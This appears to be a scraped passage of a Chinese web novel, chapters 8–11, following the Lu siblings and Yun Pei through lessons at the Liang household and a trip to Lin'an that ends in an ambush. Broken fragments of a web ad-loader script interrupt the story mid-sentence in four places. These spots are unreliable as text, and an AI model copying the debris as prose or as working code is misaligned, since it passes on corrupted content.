梁家人给他们安排了处雅致的院子,里面一应俱全,比破败的卢家旧宅不知要好多少。 “小路啊,我都不想回去了。” “我也许久没回临安了,听说云家老宅里面引了温泉入院,做了人工湖,景致也不错,等尘埃落定我带你们一起去逛。”云配今日总算发自内心开怀了一回。 “好啊。”怀永安语气轻快,只是他别过脸去,二人瞧不见他的神情。 所以无人知道有一场悲伤如潮水,席卷又平息。 8. 人海阔,无日不风波 梁家和卢家是世交,但相较于没落的卢家,梁家近些年如日中天。 梁家父亲致仕后,梁家家主由长子梁钧接替,也就是现在的梁思珃。 梁思珃的仕途又同其他人有些不一样,科举榜眼,仕途大好,但是最后求了外放。 官员不能任职原籍,被指派去了绪州,虽官位不高,但弘王谋反,梁家为韩王派系,自然水涨船高。 至于卢家,一门一双麒麟子,长子卢叙,连中六元,自科举以来,连中六元的寥寥数人,一朝触柱,血溅金殿,没了。 梁思珃登榜的那年,卢献本也要下场的。 只是卢叙的死突如其来,卢献歇了科举的心思,劝父亲离开祖宅,寻一处小城安置家业,宣城卢氏就此寂寥下去。 这也是卢家族老对卢献一脉的不满由来。 只是都过去了。 梁思珃考虑了半天,晚上才又喊的他们一同用晚膳。 不知是否是错觉,梁思珃眼睛看起来有些肿。 “弟弟妹妹啊,既然卢量思已经将你们托付给我,我以后自然就是你们的兄长。定国公府之事,坦白来讲我能帮忙,但是我需要一个理由。” “不要给我说你相中了那定国公府世子,男人都是浮云,救了他也不一定感谢你。你既是我妹妹,我自然会给你挑更好的。” “不是……” “弟弟,不会是你喜欢定国公世子吧……这更要不得了……” 路壬不是很能理解这位梁兄长的想法,为什么一定要跟定国公府世子有关呢? “是兄长。” “什么?卢量思那个浓眉大眼的,他居然!”梁思珃满脸皆是震惊,像是嘴里吃了俩蛤一蟆,两眼瞪得溜圆。 怀永安意识到有歧义,方才赶紧找补,不然大概兄长“死”节不保:“兄长心仪定国公家小姐方无虞。” 梁思珃这才将表情收了一收。 “哦~卢量思这个浓眉大眼的,惦记人家弘王未婚妻啊。” 云配坐在一旁,一点不好插嘴。 梁思珃思虑片刻:“这忙我帮了,好歹以后给卢量思上坟也有的说。” 这事他算是彻底应下了,原本算是松了一大口气,谁知自那日起,梁思珃每日上值结束后,开始让三人上课。 “让你们上课我理解,为什么我也要上?”云家二公子生平最不喜案牍劳形。 “一只羊也是赶,两只羊也是放,所以多你一只羊也无所谓了。” “你们骤然接手家业,卢量思又没教过你们,所以我替他补上。今后每日我会抽两个时辰教你们如何管理家业,另外还会有其他先生教你们礼、乐、御、射、书、数、琴、棋、画、诗、酒、花、茶,另外弟弟尚还年轻,之后下场,也是要专门学的,你先跟着先生温习,不清楚的问我即可。” “是。” 当路壬带着暗语的家信传回卢家时,卢献正在密室无聊的等待着结果。 卢辛端着吃食走近。 “怎么样,梁思珃答应帮忙了吗?” “答应了。” “哦,那他们有说什么时候回来吗?” “家主说,他们要在梁家上课,不让请假。” “……什么东西?”卢献眉头一蹙,怀疑起自己耳力。 梁府卯时,三人睡眼惺忪,但已穿戴整齐。 “年轻人,不要耽于安逸,早朝都是卯时,你们今后跟着先生们读书也要卯时起。早上先围着整府跑上几圈,强身健体。百无一用是书生,真到用的上时,你们的武力体力要足以自保。” 路壬和怀永安听至此,忽然打了个激灵。 怀永安还是提了出来:“兄长,你要不给我们打个样?” 梁思珃点点头:“有道理,不过今日是我告假,那从明日起,寅时六刻,我陪你们一起锻炼。” 怀永安欲哭无泪,得,他就不该说这句。 绪州比宣城更北,数九严寒,刀子似的割脸。四人围着梁府跑了几圈,倒也微微起了薄汗。 跑完梁思珃又陪着他们用了早膳,倒真有几分兄长的架势。 “不知道你们喜欢什么口味,厨房说这几个菜你们吃的多些,今日就先让他们做了这些。 只是不可见欲,使民不乱。你们年纪尚轻,以后不管在家中还是外面,还是不要轻易暴露自己喜恶,无论是吃食还是其他。总是要防范一些,以保平安。”梁思珃轻咳一声:“只是若是有什么喜欢的可以告诉我,我若是碰上了可以给你们带回来。” 卢府旧宅,卢献独坐密室,无聊,遂问及三人情况。 “家主他们来信说:‘梁兄长挺好的。’” “不儿……”卢献额角的青筋抽了抽,“算了,梁思珃比我可怜。” 当年那场纷乱,梁家的小辈,活下来的只有梁思珃一个人,其余人都死在了暴民之手。 就先把弟弟妹妹借给他一段时间。 若是梁思珃的两个幼弟和小妹活着,大概也跟路壬、怀永安差不多大。 “弘王那边找到了吗?” 卢运老管家也已风尘仆仆赶来。 “找到了,殿下如今身受重伤,只得在山洞中暂避。” “需要什么衣食,药品,大夫,都送过去,不过不要暴露我们身份。” “可,这样咱们不就白做好事了?” “自己未婚妻一家指望别人救,自己也指望别人救。如果弘王连我们的身份都猜不出来,那他也没什么用,我们还不如投奔梁思珃辅佐韩王。” 卢献在纸上列了一份名单,递给卢辛:“梁思珃大概会找这几个人帮忙,那群老狐狸可都是见不着老虎,不给你老鼠的。盯着梁思珃的人,这些人如果都不同意,那就挑个幸运的吓一吓。” 时间这样巧,任谁都会怀疑到梁思珃头上,可梁思珃又当真那么清白,再者只要梁家还在,韩王还在,那些事那些人都只能轻轻揭过。 “哦,对了,不要做太绝了,再吓到我家弟弟妹妹。” 卢辛静静立在旁边,额头起了细汗,二公子这事略有缺德。 日子过了一日又一日,三人天天晨起跑步,背书,梁思珃俨然一副要把他们三人培养成状元的架势。 路壬的字丑不堪言,云配的六艺乱七八糟,反而怀永安出挑的很,但太出挑了,锋芒毕露,不知藏拙。 梁思珃看着三人功课 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,无力地瘫倒在椅背上。 啧,托孤真麻烦! “让先生多盯着他们仨点,这等成绩说出去让人笑活。” 片刻间,梁思珃已经在心里将卢献骂了数遍。 梁府没有小辈,所以老管家知道府上来了位小小姐和小公子时,高兴的不得了,可劲让厨房变花样做饭。 偌大的府中也有了点朝气。梁家虽是世家,但梁思珃这支血脉,也只有他和他小姑姑韩王妃了。 梁家的女儿是韩王妃,这本身就是一种政治站队。梁思珃没办法去背弃仅剩的亲人。 韩王取上不足,取下有余,但心比天高,实在是让谋士很为难的事情。 梁思珃抽出“我这几日要出去办些事情,你们三人在家好好听先生的话,不可懈怠,回来我抽查你们功课。” 高强度的知识灌输使得原本精力充沛的三人有些蔫吧。 “好。”虽是异口同声,但是有气无力。 梁思珃走的第一天,三人依旧在上课。 怀永安:“想回家。” “这个我们要学多久,是要参加春闱吗?”云配趴在桌上,疲惫至极。 他可是三朝首辅云家的孩子,为什么这等读书的天赋就没落在他身上。 他大哥云泠一岁会吐字,三岁背诗,五岁经史子集已经通了,努力在天赋面前不值一提,哎。 “不用担心,我们考不上的。”路壬礼貌性地回他一句。 “也不知道仲安怎么样了……” “一般这种重犯,没到时间就不会让他死。但怎么活着就不知道了。” “你不要吓我!” “上辈子反正应该是全须全尾的,只有你比较惨。” “子不语怪力乱神,我们是信了,但当心被别人听去。” “如果没有去找你,我现在应该还在干我那一生都有着落的官府职位。” “怎么说到这了?” “若不是到了卢府,我们还要靠当身上的东西吃饭赶路,没有空去读书,成日正天满心满眼都是生计。能读书本身就是幸运的。” “可没必要读这么多书吧,我又不打算去春闱。” “普通人家是见不到这么多书的。如你所见,我们赶来时吃住都是问题,哪有闲钱读书。云家书香世家,藏书百万。你既然托生云家,继承云家衣钵也无不可。 如果定国公府获救,那你之后想做什么,你想过吗?” “回京城呆着吧……” “你若是参加春闱,也不是件坏事。或者趁现在想想今后怎么过,为你自己打算一下吧。” 最后一句路壬吐字很轻,像是一种释然。等定国公府的事平安落定,云配平安活着,她去哪呢? “喂,我说你俩,我还有事呢,需要去临安。临安,还记得吗?”怀永安往二人面前摆摆手。 “那就等你的事情了解之后再想吧。”云配已被课业折磨地满心疲惫。 “忘了,不好意思。”路壬扯出一个委婉的笑。 “你们两个真的是……”怀永安倒在地上,呈个“大”字型,窗外阳光晃眼,他又将右臂横在双眼上,“我也累了。啥未来打算啊!” 9. 昨夜西池凉露满 人总会可耻的逃避现在正面对的事情和即将要发生的事情。 普普通通的柴米油盐,总会比不过外面的波涛壮阔。 胆小的人畏缩在壳里,胆大的人才愿意蜕壳直面风浪。 某种意义上她们三人都是怂人,但云配勇敢一点。 而她,为了云配也莽撞了一次,但仅仅是莽撞,以后呢? 她只是走一步看一步。 之后大概会努力撑起来兄长说的那个“清流门第,书香世家”的卢家吧。 事未临头,不干己身。 所以不怪她们迷茫,谁让她们胆小,谁让她们没有目标。 天下不缺献祭者。 路壬苦笑着闭上眼睛,在书案上睡得安详。 “你们俩怎么都睡了,文章你们写完了吗?”云配瞧见这两人睡了起来,正要发火,但又担心自己高声将人吵醒,声音也渐渐停住,自己放弃了挣扎。 梁思珃一去十日不回,梁府却来了位稀客。 梁府目前没有主人在,路壬和怀永安这两人托孤来的,有些名不正言不顺。 故而这位贵客登门也只有管家去接。 贵客也不是别人,是梁思珃的小姑姑,韩王妃梁楹。 “钧儿呢?” “回王妃,家主出门办事还未回来。” “我特地来见他,他居然不在。好饿啊,钟叔,让厨房给我备些吃的吧。” “好,王妃稍待。”钟叔忙招了人安排下去,接着领着韩王妃去了前厅。 “府里瞧着多出了许多人。” “是家主请来的先生。” “钧儿都中榜眼了,还请什么先生?” “此事说来话长,是给卢家的两位请的。” “卢家?献儿?还有谁?” “不是卢二公子,是新寻回来的两位。” 韩王妃深居简出,自然是未曾听到过卢家的丧事。 “卢家老家主没了,卢二公子刚找到失散的幼弟幼妹,没两天就火海里没了。” “我去见见他们。” “这会他们应当正在寸金堂听先生讲课。” “走,都小声些。” 韩王妃透过窗户,远远瞧着三人。 “女孩就一个,男孩是穿靛蓝衣服的那个?” “是。” “跟献儿长的不是很像。” “可能肖父肖母有所差别。” 卢家的孩子,且过了卢献那边的明路,她没道理更没必要质疑血脉。“也是,不过云家的孩子怎么也在咱们家?” “云家?王妃说的是临安云氏?” “另外的那个孩子云相的五孙子。他长兄云泠是与钧儿同年的状元,如今已是侍御史。” “这,这位小公子未曾细说过身份,只说了姓名是云配。” “对,就是他,他来我们家干什么?” “是跟卢家的两位一起的,他们说是结伴的生死友人,读书这种乐事必要同享,横竖两个人与三人没什么差别,家主便让云公子也一起了。” “咳……看起来是像真朋友。钧儿没答应他们什么事吧?” “这……应该答应了。” “答应了什么?” “似乎是卢二公子的遗志。” “那应当还好。”只要没掺和进弘王谋反或者他自己谋反,应当都不是问题。 “那个女孩子是叫卢望对吗?小时候水灵灵的,长大这板板正正的样子,倒同叙儿很像。长这么大了啊……”当年的兵乱,南方的士族首当其冲,“我当时比她还小呢。” “王妃,追思伤神。” “留意着这个云家的孩子。”能得到云家的站队当然好,只是云家的麻烦事可不少。 路壬察觉到外面的视线,正好对望过去。 韩王妃冲她浅浅一笑。 这位韩王妃与梁思珃三分相似,面容姣好,不是那种娇花照水般侬艳不可方物,像金石铮鸣,隰间飞瀑,眉宇间威严坚毅。 路壬冲她点了点头。 韩王妃笑着走开了。 路壬记不太清这位韩王妃的结局,似乎是自戕而亡。 平康帝仁慈,夺嫡失败依旧没有杀了自己兄弟,只是将韩王留在京中。 当然也许是如卢献所言,韩王无力子嗣,所以放了韩王一马。 韩王郁郁而终,比平康帝去的还要早一年。 三人下课后,韩王妃邀他们一同用膳。 倒也没问他们其他的事情,只问了他们日常课业,以及三人怎样结识的。 路壬和怀永安自然不能说云配是被绑来的,只说他们在路上遇到了离家出走的云配,一见如故,相谈甚欢,故而结伴云游。 “孩子们,这解释听起来很扯的。”王妃轻声笑了出来,摇摇头。 “其实人世间的故事大都怕假大空,故而写的合乎情理。现实之事未尝不比故事荒诞。” “有理,是个聪明的孩子。”这话听起来像是意有所指。不过聪明人从来不主动挑破话头,所以谁都没有对这句有所解释。 气氛没有刚才热络,只余云配吃喝如常。 大概在场的只有云配一点都没听懂。 “是个有福气的孩子。”王妃看着云配笑的慈祥,丝毫没有意识到聪明人的权衡利弊,云配是不会的。表面看着最安生,干的都是抄家灭族的事。 韩王妃未走,隔天又来了位客人。 “司户参军上了拜贴。” “钧儿不在,直接言明即可。” “王妃,您是家中人,家主不在,咱们自然不会瞒您,只是家主秘密离开,此事虽可大可小,但真闹大了也不好。” “那便说钧儿病了,不宜见人。” “参军这帖子有些急,只怕不好应对。” “你先去探一探,他有什么要事。” “王妃,若是事干内政,老奴也不好打听。不过所幸这位参军不是别人,也姓云,不如让云公子去打听一下。” “也好。” “三哥!!!!”云配许久不见亲人,一股脑冲着身着官服的云明抱过去。 云参军在会客室喝茶等候,皱了皱眉,感觉耳朵出现了些许幻觉,察觉到云配放大的脸时,只来得及将人脑袋抵住:“唉唉唉,止步。有失体统。” 路壬和怀永安站在不远处,难得见松弛至此的云配。 云参军与云配并没什么特别相似的地方,云参军瞧起来便是位俊逸风流的人物,一身官袍更显得利落周正。 “三哥,你怎么在这?” “梁长史是我上峰,我是来找长史告假的。你呢?我可听说你离家出走了。”云明揪住云配耳朵,“快,从实招来,你知道家里找你找了多久了吗,就不知道捎个信?” 就知道绕不出去这个事。 云配就按三人编好的理由说给云明听。 “真的吗?我不信。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“听说你什么金银细软都没带,你一路是怎么来的绪州?” “真是件囊中羞涩,面上也羞涩的事情啊!”怀永安在一旁悄悄感叹。 “用的她的钱……” “大丈夫立身当堂堂正正,你带人姑娘私奔,你还花人家的钱!”云明咬牙切齿,但到底涉及人家姑娘清誉,用的声量云配都听不太真切。 “不是我带的她,她带的我。” “那她大概发现了,养你真的很费钱!” “我费钱怎么了?不对,谁私……唔!” 云明一把扣住云配的嘴,用气声道:“唉唉唉,都说了小点声小点声,你这影响人家姑娘清誉,“你偷偷走的?” “嗯。” “你跟姑娘在哪碰面的?” “城外。” “就你们两个人?” “嗯。” “一路上花的谁的钱?” “她的。” “那不就结了!” “我的珠子也花掉了!” 两人的声音很小,表情却是激动狰狞的很。习武之人耳聪目明,虽然跑偏,但也不是什么坏事。 路壬和怀永安生怕云明再问下去,云配一时激动将事情和盘托出,这可就前功尽弃了。 二人当即捂住云配的嘴:“无妨,云大人,不过区区十三个月的俸禄。” “十三个月的俸禄,云小五,你还是个男人吗?这是我不懂事的弟弟的错,这钱我代还。”云明如今虽是参军,俸禄却还不如在家中随手打赏小厮的钱多,故而深觉花人俸禄如杀人父母。 只是云明搜刮了半晌也为寻得一处碎银,只好将自己的玉佩抵给路壬,“这玉佩你先拿着,我再回来时给你银子。” “三哥,你今天来告假是因为我吗?” “不是,你太自作多情了。” “家里的事?” “嗯。” “你要回临安?” “是。” “那我也要回去。”云配瞧了怀永安一眼,正好跟着三哥回临安,解决那件临安的事。再者,梁兄长一去许些天,也不知音信,回了云家也许可以另作打算。 “小孩子怎么见事就想掺和,不带你。” “你不带我,我不让梁家兄长给你准假。” “你小子能耐了。” “梁家兄长在病中,不让人打扰,请假牒拿来,我去给你要批示。” 之后的事又让人犯了难,梁思珃的私印好说,只是字迹就不那么好仿了。 怀永安拿起笔:“梁家兄长先前写过的东西有吗?我会临摹。” “有有有。”老管家忙整理出梁思珃平日的文稿。 怀永安先在宣纸上比照着写了一遍。然后在请假牒上握笔挥墨一气呵成。 “瞧不出来差别。”王妃细细查看,确认无误,但眼眸愈深,“这是个好本事,不过还是轻易不要暴露在人前,也许会惹些祸端。” 怀永安欣然点头应下:“谨记。” 几人赶紧收拾完行装跟着云明回了云家。路过一处山脚时,似有抽泣声阵阵。 云配问道:“谁在哭?” “许是在哭亲人。” 怀永安应道:“应当是悲风之声。” 梁思珃和韩王妃不算是坏人,路壬将自己的不忍告诉卢献,很快得到了回信。 “妹妹,争天下不是谁开心谁伤心的问题,要死人的,肯定是要死人的。” 10. 大雪江南见未曾 到临安路上的几日,路壬想了很久,忽然发现她好像并没有去区分好人和对她好的人。 可普通人本有喜恶,她不想伤害对她好的那些人。 若是哪日不能两全,她该怎么选? ——— “还是临安热闹啊,宣城还是冷清了些。”怀永安掀开轿帘,伸头左右扫了扫,复又笑着靠了回来,“瑞雪之下,路有遗骨。不算太平。” “我记得卢家似乎在临安有处房产。也不知有没有修葺。” “过两日可以去看看。” 现在临安的是云配的叔父及其家眷。 云明临来时已经给家中通过书信,告知他们三人同行。 故而云家已经为他们收拾出来住所。 卢家虽式微,与云家好带也有亲眷来往,世家大族总是盘根错节的,就像砍一棵树,树林不会消失一样。 到底是云配的朋友,也没有必要非拿门第说话。 云家门庭,三朝首辅,门生无数。 云家的祖宅分外清幽,最显眼的也就只是两片朱红的门,古朴雅致。门口有两处低矮的石狮子,一狮衔球翘首,一狮闭目正身。 云相常在京中,临安这里是云配二叔云翀做主。 看云明的样子,很难想象云翀作为他父亲竟如此板正。 云明下马行礼都显得拘谨了些:“父亲。” “明儿,一路劳顿,快回去歇歇。” “二叔!” “父亲,正好在梁长史处碰到小五和卢家两位弟弟妹妹,便邀他们一同来家做客。” 云翀轻轻点头,一切了然:“小五,你的房间已经收拾好了,小侍也会带两位客人去安置。” “我跟他们一起去吧,院子大,免得他俩迷路。” 云家众人的态度不算轻慢,但绝对算不上礼待。 ——— 黑风坡上,梁思珃一身黑衣,身后皆是伏地潜行的暗卫。 探清了山洞中人虚实后,左手食指和中指微曲:“杀。” 明月被云隐去,地上的影子重新融入黑暗。 丑时一刻,离天亮还很长。 ——— 已经在易家呆了两日,无人见他们,连带着云配都像是被软禁了。 “我们就在这里呆着?”怀永安问道。 “我带你们在院子里逛逛吧,这时候院里有红梅,今年这边下了雪,白树红梅,可好看了。” “好。”路壬穿戴整齐,推开门,风还是冷的。 云配回了云家,身上穿的也华贵起来,披着披风,脖子里还围了狐围脖,纯白的毛发中,有一撮白金色的毛发。 怀永安摸了摸,滑溜溜的很是软和。 “这狐狸毛不错。” “二叔说在林子里新猎的。” “哦,大雪天的,也是稀罕。” 云配瞧见他愣神,便自己取下来,直接给他围脖子上了:“你这身衣裳也正合适。” 怀永安方才反应过来,扯出一个笑:“是嘛,多谢。” 云家祖宅种的是红梅,灿如烟霞。 “倒是可以摘些带苞梅花枝带回屋里,放两天就开花了。你们等我,我去让人寻个篮子。”云配今日穿的是掺了雀翎丝的外袍,怕梅枝勾丝,本想动手折几枝,又怕家里人瞧见他刚穿的衣服被刮坏了说他奢靡。 路壬倒是无所谓,云家是云配的家,走起路来都蹦的比别处高些,想干什么不行。 怀永安瞧见那边烟雾缭绕,说是要看看是不是新引来的温泉,也跑开了。 只余路壬一人往梅林深处走去。 大抵为了观景,梅林深处还设了亭子。 亭子后不远,蹲着位莺草色衣袍的少年,头上簪了一根绿檀簪子。 少年怀中抱了满怀的红梅枝,不好收拢,伞在他脚边放着,雪地上有半圈凹陷。 路壬过去将伞拾起,给他打到头顶。 北方下雪是很少打伞的,云配大抵从小生活在京中也不打伞。 不过怀永安下雪时,还是更喜欢打伞出去。 “是小五带回来的客人?”少年很愉快的接受了路壬的好意。 “是。” “在下云焕,字谨之。敢问姑娘芳名?” “卢家,卢望。” 云焕生的一双桃花眼,笑起来时眼睛弯弯如月牙,很有感染力:“你不用光给我打伞,你自己也进来些,别被雪淋到了。” 路壬脸上有浅浅笑意:“不必了,我从来下雪不打伞的。” 下雪天撑伞,风又大,手又冷,还不如淋着,横竖进门抖一抖就没了。 “四哥!”云配提着篮子气喘吁吁跑来。 “小五。” 云配瞧见路壬手中的伞:“你怎么也学卢绘他打伞了。” “卢姑娘刚才在帮我忙。” “哦,哦,四哥,你把花放篮子里吧,没那么占手。” “不用了,你们继续玩。”云焕艰难的腾出一只手来从路壬手中接过伞柄。,“多谢卢姑娘。” 等到云焕走远,路壬才开始问云配:“四公子他身体不太好?” “嗯,二伯母当时生他时未足月,小时又发了场高热,故而身体一直都不太好。” “你多吃点饭,别得病。” 云配不知怎么话头怎么从他哥身上转到他身上,但多少算是关切,自然还是应了一声: “知道了。你在这里有什么想去的地方吗?” “没什么想去的地方,你好好活着就可以。” “就这样?” “你还想怎么样?”路壬秀眉一蹙,不明所以。 “没,没了。” “不是,你俩聊天就聊到这?” “温泉找着了?” “没,那边是个湖,只不过在冒烟。” “哦,那边大概是烧地龙出来的烟。” 怀永安伸手接了片雪:“我们这几日能出去吗?” “应该可以的,我去问问二叔,然后去让人准备车架。”云配转身就走,已经忘了自己要折枝梅花。 路壬找了处高高的树,脚尖轻点,立于枝头,小心翼翼的折了几支含苞的花枝。 怀永安也不阻拦,只看着她道:“别把人家树压塌了。” 未曾注意到远处怀里抱着红梅的莺草衣装的少年,轻轻地叹息了一声。 “你说他家的厨子做梅花糕好吃吗?”怀永安抬头问了句,直接在低矮的枝头摘了朵梅花瓣放在嘴里。 “不知道,没吃过。” “我也想吃,你呢?”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “可以尝一尝。” “没准外头有卖的,南方诸城里,就数临安最为繁华。” “卢家主,卢公子,我家五公子请您过去,家中车马已经备好。” “五公子是谁?” 路壬白了一眼怀永安:“云配。” “我还一直以为他是云二公子。” “京中可以这么说,但这里是他本家,自然是称五公子了。” “那以后叫他小五?” “……” ——— 南方甚少雪,路上熙熙攘攘,多是行人,出了云府没多久,马车就难行进了。 “下车吧,这条街上也可以逛一逛,再往东一些就是西子湖,围炉煮雪很是合适。”云配让小厮寻个地方歇着,三人下车在街上继续往前。 “雪又大了。” 路壬生在北方,格外怕冷些,寒风一吹,身上绸面的衣服更为冰凉:“要是有些热乎的吃食,就更好了。” “那边有个葳蕤楼,做的就是临安这边特色的吃食,等会逛累了我们可以去那里歇歇脚。” 大街上就这三人不撑伞,显得分外显眼,路壬腰间又配了大刀,路上行人多少都离得远些。 怀永安不禁感慨一下:“呀,路好走了。” 路壬白了他一眼:“可不是,别人都绕着我们。” “我们长的很吓人吗?”云配不知为何,察觉行人的异样,总觉得有些古怪。 “可能是小路的刀吓人。” “他们不是在看我,是在看你。” “我有什么好看的?”怀永安低头环视周身,似乎并未瞧出不妥之处。 人群里声音窸窸窣窣,飞雪掩盖了部分杂音。因而静悄悄里显得明显。 “……从云家马车上下来的。” “应该是中间的那个吧。” 路壬也细细打量怀永安,并未觉得古怪。 怀永安生的不俗,穿着也算得体,通身下来也像官宦人家的小公子。 外面太冷了些,路壬已经不想继续天寒地冻的被人围观下去。 “先去个暖和地方坐一坐,太冷了。” 云配抬手要解披风,路壬当即又给他领口系带系紧了些。 “太冷了。”路壬做完便不再看他,两只手揣在袖子里,冷风吹的粉红,又因手指蜷了起来骨节和指尖有些泛白。 “你要不手伸我斗篷后面的帽子下?会暖和些。” 怀永安直接一手一个兜帽,将二人快速的拽去葳蕤楼。 “大街上呢,还嫌看我们的不够多。”怀永安招手拦了小二:“上点热茶,再两盘招牌的热菜。” 待小二都走了才一拍脑袋道:“素的啊,素的。” “从这还真能瞧见西子湖呢。” “我幼时常来这边,三哥常领着我去湖边看人捞鱼。”云配饮了口茶,一阵酥麻,方觉身上寒意逼退。 “你在临安长大,为什么水性不好?” “我上次只是水中太冷,毕竟也从未在冬日游过西子湖。” 路壬往手上哈气,白莹莹的,暖和而潮湿。 一声清脆的瓷盏碎裂音后,脚步声,拔刀声,弓弩上弦声萦绕在三人周围。 路壬泛红的指尖当即握住了刀柄。 11. 云容薄更深 一支弩,箭直直地从背后射来,路壬当即拔刀斩断。 准头并不好,应当不是专业的杀手。有几个带刀的人砍来,路壬忙将云配拽至身后,与人横刀相抗。 只是这群人的目标似乎不是云配,是怀永安? 怀永安手头并未有武器,抓了把筷子盘子先挡一挡。 路壬当即一脚将与怀永安缠斗的两人踹至一边。 “带他先走。” 怀永安当即拽了云配从窗户那里翻出去。 这几人当即要追,路壬挡在店门口,刀光映雪,众人也有片刻迟疑。 几人相视一眼,确认信息,试图围攻路壬。路壬当即借力闪身,那人扑了空,转身再攻便已落了下风。 另两人趁势攻击,路壬左手扯住那人衣襟将他推了过去,径直砸到一人身上。 路壬反手握刀扛住对着她面门的大刀,僵持片刻,当即换了左手,回身直接将那人的刀斩断。 “……” 趁那人还未反应过来路壬一个旋踢,将人踹翻在楼梯扶手上,扶手登时四分五裂。 那几人看着打不过路壬,当即要跑,路壬只按住了其中一个人,其余几人未再阻拦。 “报官啊。”见周围人离得远远的,路壬大吼一声,又解下来那人腰带将他手脚捆了起来。 看见旁边桌上有酒,路壬含在嘴里,往刀上喷了口,双手持刀蓄力。 “刀下留人啊,刀下留人。”周围人忙拦一拦。 路人收了手:“不好意思,职业习惯。” 她只是想看一下,是否有人是他的救星,疑惑着人濒临死亡时会吐出些什么事情。 比她想的要意外些,这人在她喷酒时,已经昏死过去了。 谁家请的杀手胆那么小? 官府的人很快就赶来了,直接带走了那人,路壬一同跟着过去,自然免不了走些流程。 “不过只能证明他先朝你们出手,并不能证明他们要杀你们,且你身上没有伤,别到了最后给自己惹些麻烦。” “嗯。” ——— 怀永安摊开双手: “然后你就回来了?据理论争啊,据理论争。” 路壬白了他一眼:“你能证明吗?” “不是,他们为什么要杀我啊,有病吧。” “不知道,你今天穿的也没……”路壬又细细瞧了瞧二人,脑中闪过一个念头,忙问怀永安:“你脖子上的狐围脖呢?” “屋里烧着地龙,热死了,围什么……围脖?” 说至此,三人的目光都缓缓移至榻上的那只围脖。 “他们是不是要刺杀围围脖的人?”怀永安咽了口水。 “为什么呢?”云配问道。 怀永安左手晃了晃,皱着眉头思忖着不知如何开口:“嗯,嗯,这,望啊,我记得咱们卢家好像有宅子,要不咱俩这两天看看去?” 他费了劲的给路壬使眼色,不知路壬是否能体会到他的意思。 “天还没黑,走?”路壬直接点点头。 怪永安忙拽了云配:“走。” ——— 卢家和云家隔着八条街,三人直接骑马过去的。 “早知道不出来了,太冷了。” 路壬缩在斗篷里,寒风刺骨。 他们两人真的没感觉? 天色已经暗了,街上的灯火也起来了,卢家的宅院隐匿在街角深处,很不起眼。 临安流行的样式? 路壬手脚有些僵,下马要慢他二人一步。 “为什么不进去?” “怕咱家门直接倒那了了,大冬天的还得咱们俩抬。” “要不直接翻进去?” 还未等他二人争辩完,门从里面打开了。 一位两鬓斑白的老人给他们开了门:“可是家主,四公子?” “哦哦哦。”路壬忙掏出来卢家的身份证明,“老伯是?” “家主唤我老邓即可,我与其他四人留在这院里打理。天冷路滑,您三位先进来,马我找人牵进来拴上。” 相较于宣城卢宅,临安卢宅更为精巧清雅,也没那么破败,只是小一些。 “两位公子先前春日偶尔会来这边踏青。” 老邓已经给几人倒上了热茶。 “三位稍待,厨房很快就好,今日匆忙,就委屈家主吃些干货,明日就派人去瞧瞧有没有雪芽菜。” “简单饱腹即可,我们三人无所谓。只是房里不要太冷。” “自然自然,已经给三位将地龙烧上了,家主......二公子小时就畏寒,要盖上三层暖被才睡,睡前还要让人将汤婆子给烫一烫。”老邓本想叫家主,可现成的家主坐在面前,只好改为二公子。 “兄长居然也是怕冷的。”路壬不知为何,总觉得有些好笑,无端心中又起了悲凉,她不是卢望啊。 老邓认识的卢家的旧人,都没了。 怀永安接过话茬道:“邓伯,最近临安可有发生什么事啊?” “临安,未曾啊。事大一点,整个临安城都知道,事小一点也传不到我们着些人耳边。”老邓回想最近的临安,似乎风平浪静。 “邓伯您再想一想,我们今日路上似乎听人说什么云家,就也不知道为何,还有人在葳蕤楼砍我们呢!” 老邓压低声音道:“四公子,您今后在这临安地界,别招惹到云家。” “哦,为何?”云配听到云家,便跟着问了问。 “这位公子有所不知啊,咱们卢家先前也算是江南望族,跟云家也是沾点亲带些故。但这不是世事无常嘛,云家的门庭如今咱们哪里攀得着,走门口怕都是嫌弃咱们是打秋风的。” 说的云配又些尴尬:“不至于吧。” “且云家不是好相与的,前端时间又买地,又买良田的,说是要建个什么庄子。闹得那片的百姓鸡犬不宁,这不就是强买强卖吗?人家上头是相爷,谁让云家不痛快,云家怕是真的会让那人不痛快了。”老邓压着声音,眉头紧皱,颇有些义愤填膺之态。 “没事没事,咱躲得远远的。”怀永安忙拍拍老邓的手,给他顺气。 “咱们家的百亩良田,前些日子也要买,不过二公子没同意。”老邓大喘气了一口,越说越激动“大约七八日前,云家又来问了一遍。” 原来如此,怪不得云家众人当时的面色都不是很好,怕不是把他们当成去云家讨说法的了。 “没事没事,咱不卖,不卖。” 路壬忙附和道:“对对对,不卖。欺人太甚。” “着实有些过分。”云配也点点 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 头道。 “这位公子甚是明理,也不知哪家的灵秀芝兰?”老邓看着云配表示了同仇敌忾之意,当即肺腑一暖,夸人都更有礼节了些。 “晚辈名配,邓伯喊我名字即可。”这时候哪里能说出自己名字。 怀永安深以为然,瞪大眼睛,缓缓点头:“对,叫他阿配就好了。我俩都这么叫。是吧,阿配。” “对对对。” 老邓复又行了礼道:“阿配公子。” 待几人深夜在书房复盘时,三人总觉得哪里还有些怪怪的。 “你家这事你不知道啊。” “我知道新建了个院子,叫红叶山庄,不过冬日去也没什么红叶,只是似乎听说那地方有温泉。想去的话,我们明天回云家,让人带我们一起去。” 怀永安跟路壬又对视了一眼,觉得有些难办。 “你就......有没有怀疑过你家是个......嗯,算了,去吧。能带刀的吧。” 怀永安欲言又止,止又欲言。 云配笑道:“我家庄子又不是内宫,带个刀剑怎么了。” “那就好,我跟你说,我也带个刀啊,剑啊的,今天光小望打架了,我光拽着你跑,累死了。” 云配点点头:“家里应当有,庄子里应该也有,或者明日要去市集上买?” “明早问问邓伯家里有没有,有的话还能省点钱。” “市集上现打的可能更合你手感。” ------ 第二日,云配还未起来,路壬和怀永安就去了市集,找了家铁铺。 怀永安顶着乌青,拿出来一张精美灵秀的图纸。 路壬瞧着也觉得不错:“你画的图纸不错,能给我画个刀鞘吗?” 